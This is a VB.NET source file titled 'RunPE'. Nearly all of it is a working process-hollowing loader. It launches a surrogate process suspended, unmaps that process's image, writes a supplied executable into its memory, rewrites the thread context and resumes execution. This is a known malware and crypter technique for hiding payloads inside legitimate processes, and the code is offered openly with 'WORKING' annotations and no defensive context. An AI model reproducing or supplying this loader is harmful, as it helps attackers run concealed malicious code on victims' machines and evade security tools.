RunPE vb.net

Imports System.Runtime.InteropServices
Imports System.Text

Public Class x86

    Private Shared ReadOnly prot() As Integer = {1, 16, 2, 32, 4, 64, 4, 64}

    <System.Security.SuppressUnmanagedCodeSecurity()> _
    Private Class Win32

        <DllImport("kernel32")> Shared Function ResumeThread(ByVal hThr As IntPtr) As Integer
        End Function

        <DllImport("kernel32")> Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, _
          ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, _
          ByVal creation As Integer, ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo() As Byte, _
          ByVal pInfo() As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function 'WORKING

        <DllImport("kernel32")> Shared Function GetThreadContext(ByVal hThr As IntPtr, _
          ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function 'WORKING

        <DllImport("kernel32")> Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, _
          ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function

        <DllImport("ntdll")> Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger
        End Function 'WORKING

        <DllImport("kernel32")> Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, _
          ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
        End Function 'WORKING ON NON .NET APPS

        <DllImport("kernel32.dll", SetLastError:=True)> _
        Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As System.UInt32, <Out()> ByRef lpNumberOfBytesWritten As Int32) As Boolean
        End Function

        <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> _
        Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean
        End Function

        <DllImport("kernel32")> Shared Function SetThreadContext(ByVal hThr As IntPtr, _
        ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function
    End Class

    Public Shared Sub RunPE(ByVal bytes() As Byte, ByVal surrogateProcess As String)
        Dim offsetNtHeaders As Integer = BitConverter.ToInt32(bytes, 60)
        Dim numberOfSections As Integer = BitConverter.ToInt16(bytes, offsetNtHeaders + 6)
        Dim sizeOfHeaders As New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 84))
        Dim si(67) As Byte
        Dim pi(3) As IntPtr
        If Not Win32.CreateProcess(Nothing, New StringBuilder(surrogateProcess), Nothing, Nothing, _
           False, 4, Nothing, Nothing, si, pi) Then Return
        Dim ctxt(178) As UInteger
        ctxt(0) = &H10002
        Dim base, junk, addr As IntPtr
        Dim res As Boolean
        Dim junk2 As Integer
        If Win32.GetThreadContext(pi(1), ctxt) Then
            If Win32.ReadProcessMemory(pi(0), New IntPtr(ctxt(41) + 8), addr, New IntPtr(4), junk) Then
                If Win32.NtUnmapViewOfSection(pi(0), addr) = 0 Then
                    base = Win32.VirtualAllocEx(pi(0), New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 52)), _
                    New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 80)), 12288, 64)
                    res = Win32.WriteProcessMemory(pi(0), base, bytes, sizeOfHeaders, junk)
                    For i As Integer = 0 To numberOfSections - 1
                        Dim sh(9) As Integer
                        Buffer.BlockCopy(bytes, offsetNtHeaders + 248 + (i * 40), sh, 0, 40)
                        Dim raw(sh(4) - 1) As Byte
                        Buffer.BlockCopy(bytes, sh(5), raw, 0, raw.Length)
                        res = Win32.WriteProcessMemory(pi(0), New IntPtr(base.ToInt32 + sh(3)), raw, New IntPtr(raw.Length), junk)
                        res = Win32.VirtualProtectEx(pi(0), New IntPtr(base.ToInt32 + sh(3)), _
                         New IntPtr(sh(2)), prot((sh(9) >> 29) And &H7), junk2)
                    Next
                    res = Win32.WriteProcessMemory(pi(0), New IntPtr(ctxt(41) + 8), BitConverter.GetBytes(base.ToInt32), _
                    New IntPtr(4), junk)
                    ctxt(44) = CType(base.ToInt32 + BitConverter.ToInt32(bytes, offsetNtHeaders + 40), UInteger)
                    Win32.SetThreadContext(pi(1), ctxt)
                End If
            End If
        End If
        Win32.ResumeThread(pi(1))
    End Sub

End Class